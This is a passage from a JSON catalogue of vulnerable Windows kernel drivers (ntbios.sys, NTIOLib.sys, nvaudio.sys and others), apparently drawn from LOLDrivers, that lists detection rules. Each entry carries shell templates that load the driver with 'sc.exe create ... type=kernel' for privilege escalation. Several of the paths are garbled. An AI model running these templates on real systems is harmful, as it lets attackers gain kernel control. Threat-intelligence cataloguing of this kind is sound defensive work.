        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nt5.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  t5.sys type=kernel && sc.exe start nt5.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nt5.sys\"\n\n# nt5.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nt5.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nt5.sys binPath=C:\\windows\\temp \\n \\n \\n  t5.sys type=kernel && sc.exe start nt5.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nt5",
    "install": [
      {
        "method": "custom",
        "description": "Load nt5.sys kernel driver",
        "commands": [
          "sc.exe create nt5.sys binPath=C:\\windows\\temp \\n \\n \\n  t5.sys type=kernel && sc.exe start nt5.sys"
        ]
      }
    ],
    "name": "nt5.sys",
    "namespace": "windows:kernel:nt5",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nt6.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  t6.sys type=kernel && sc.exe start nt6.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nt6.sys\"\n\n# nt6.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nt6.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nt6.sys binPath=C:\\windows\\temp \\n \\n \\n  t6.sys type=kernel && sc.exe start nt6.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nt6",
    "install": [
      {
        "method": "custom",
        "description": "Load nt6.sys kernel driver",
        "commands": [
          "sc.exe create nt6.sys binPath=C:\\windows\\temp \\n \\n \\n  t6.sys type=kernel && sc.exe start nt6.sys"
        ]
      }
    ],
    "name": "nt6.sys",
    "namespace": "windows:kernel:nt6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ntbios.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  tbios.sys type=kernel && sc.exe start ntbios.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ntbios.sys\"\n\n# ntbios.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ntbios.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ntbios.sys binPath=C:\\windows\\temp \\n \\n \\n  tbios.sys type=kernel && sc.exe start ntbios.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ntbios",
    "install": [
      {
        "method": "custom",
        "description": "Load ntbios.sys kernel driver",
        "commands": [
          "sc.exe create ntbios.sys binPath=C:\\windows\\temp \\n \\n \\n  tbios.sys type=kernel && sc.exe start ntbios.sys"
        ]
      }
    ],
    "name": "ntbios.sys",
    "namespace": "windows:kernel:ntbios",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ntbios_2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  tbios_2.sys type=kernel && sc.exe start ntbios_2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ntbios_2.sys\"\n\n# ntbios_2.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ntbios-2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create ntbios_2.sys binPath=C:\\windows\\temp \\n \\n \\n  tbios_2.sys type=kernel && sc.exe start ntbios_2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ntbios-2",
    "install": [
      {
        "method": "custom",
        "description": "Load ntbios_2.sys kernel driver",
        "commands": [
          "sc.exe create ntbios_2.sys binPath=C:\\windows\\temp \\n \\n \\n  tbios_2.sys type=kernel && sc.exe start ntbios_2.sys"
        ]
      }
    ],
    "name": "ntbios_2.sys",
    "namespace": "windows:kernel:ntbios-2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NTIOLib.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NTIOLib.sys type=kernel && sc.exe start NTIOLib.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NTIOLib.sys\"\n\n# NTIOLib.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-ntiolib.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NTIOLib.sys binPath=C:\\windows\\temp\\NTIOLib.sys type=kernel && sc.exe start NTIOLib.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ntiolib",
    "install": [
      {
        "method": "custom",
        "description": "Load NTIOLib.sys kernel driver",
        "commands": [
          "sc.exe create NTIOLib.sys binPath=C:\\windows\\temp\\NTIOLib.sys type=kernel && sc.exe start NTIOLib.sys"
        ]
      }
    ],
    "name": "NTIOLib.sys",
    "namespace": "windows:kernel:ntiolib",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create NTIOLib_X64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\NTIOLib_X64.sys     type=kernel && sc.exe start NTIOLib_X64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver NTIOLib_X64.sys\"\n\n# NTIOLib_X64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ntiolib-x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create NTIOLib_X64.sys binPath=C:\\windows\\temp\\NTIOLib_X64.sys     type=kernel && sc.exe start NTIOLib_X64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-ntiolib-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load NTIOLib_X64.sys kernel driver",
        "commands": [
          "sc.exe create NTIOLib_X64.sys binPath=C:\\windows\\temp\\NTIOLib_X64.sys     type=kernel && sc.exe start NTIOLib_X64.sys"
        ]
      }
    ],
    "name": "NTIOLib_X64.sys",
    "namespace": "windows:kernel:ntiolib-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nvaudiosys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\nvaudiosys.sys type=kernel && sc.exe start nvaudiosys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nvaudio.sys\"\n\n# nvaudio.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nvaudio.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create nvaudiosys binPath= C:\\windows\\temp\\nvaudiosys.sys type=kernel && sc.exe start nvaudiosys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-nvaudio",
    "install": [
      {
        "method": "custom",
        "description": "Load nvaudio.sys kernel driver",
        "commands": [
          "sc.exe create nvaudiosys binPath= C:\\windows\\temp\\nvaudiosys.sys type=kernel && sc.exe start nvaudiosys"
        ]
      }
    ],
    "name": "nvaudio.sys",
    "namespace": "windows:kernel:nvaudio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nvflash.sys binPath=C:\\\\windows\\\\temp\\\\nvflash.sys type=kernel && sc.exe start nvflash.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nvflash.sys\"\n\n# nvflash.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-nvflash.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-nvflash",
    "name": "nvflash.sys",
    "namespace": "windows:kernel:nvflash",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nvflsh32.sys binPath=C:\\\\windows\\\\temp\\\\nvflsh32.sys type=kernel && sc.exe start nvflsh32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nvflsh32.sys\"\n\n# nvflsh32.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nvflsh32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-nvflsh32",
    "name": "nvflsh32.sys",
    "namespace": "windows:kernel:nvflsh32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nvflsh64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp \\\\\\\\n \\\\\\\\n \\\\\\\\n  vflsh64.sys type=kernel && sc.exe start nvflsh64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nvflsh64.sys\"\n\n# nvflsh64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nvflsh64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create nvflsh64.sys binPath=C:\\windows\\temp \\n \\n \\n  vflsh64.sys type=kernel && sc.exe start nvflsh64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-nvflsh64",
    "install": [
      {
        "method": "custom",
        "description": "Load nvflsh64.sys kernel driver",
        "commands": [
          "sc.exe create nvflsh64.sys binPath=C:\\windows\\temp \\n \\n \\n  vflsh64.sys type=kernel && sc.exe start nvflsh64.sys"
        ]
      }
    ],
    "name": "nvflsh64.sys",
    "namespace": "windows:kernel:nvflsh64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nvoclocksys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\nvoclocksys.sys type=kernel && sc.exe start nvoclocksys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nvoclock.sys\"\n\n# nvoclock.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nvoclock.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create nvoclocksys binPath= C:\\windows\\temp\\nvoclocksys.sys type=kernel && sc.exe start nvoclocksys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-nvoclock",
    "install": [
      {
        "method": "custom",
        "description": "Load nvoclock.sys kernel driver",
        "commands": [
          "sc.exe create nvoclocksys binPath= C:\\windows\\temp\\nvoclocksys.sys type=kernel && sc.exe start nvoclocksys"
        ]
      }
    ],
    "name": "nvoclock.sys",
    "namespace": "windows:kernel:nvoclock",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create nxeng binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\nxeng.sys type=kernel && sc.exe start nxeng\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver nxeng.sys\"\n\n# nxeng.sys\n\nnxeng.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-nxeng.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "nxeng.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create nxeng binPath=C:\\windows\\temp\\nxeng.sys type=kernel && sc.exe start nxeng",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-nxeng",
    "install": [
      {
        "method": "custom",
        "description": "Load nxeng.sys kernel driver",
        "commands": [
          "sc.exe create nxeng binPath=C:\\windows\\temp\\nxeng.sys type=kernel && sc.exe start nxeng"
        ]
      }
    ],
    "name": "nxeng.sys",
    "namespace": "windows:kernel:nxeng",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create OAToolx64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\OAToolx64.sys type=kernel && sc.exe start OAToolx64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver OAToolx64.sys\"\n\n# OAToolx64.sys\n\nOAToolx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-oatoolx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "OAToolx64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create OAToolx64 binPath=C:\\windows\\temp\\OAToolx64.sys type=kernel && sc.exe start OAToolx64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-oatoolx64",
    "install": [
      {
        "method": "custom",
        "description": "Load OAToolx64.sys kernel driver",
        "commands": [
          "sc.exe create OAToolx64 binPath=C:\\windows\\temp\\OAToolx64.sys type=kernel && sc.exe start OAToolx64"
        ]
      }
    ],
    "name": "OAToolx64.sys",
    "namespace": "windows:kernel:oatoolx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create OpenLibSys.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\OpenLibSys.sys type=kernel && sc.exe start OpenLibSys.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver OpenLibSys.sys\"\n\n# OpenLibSys.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-openlibsys.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
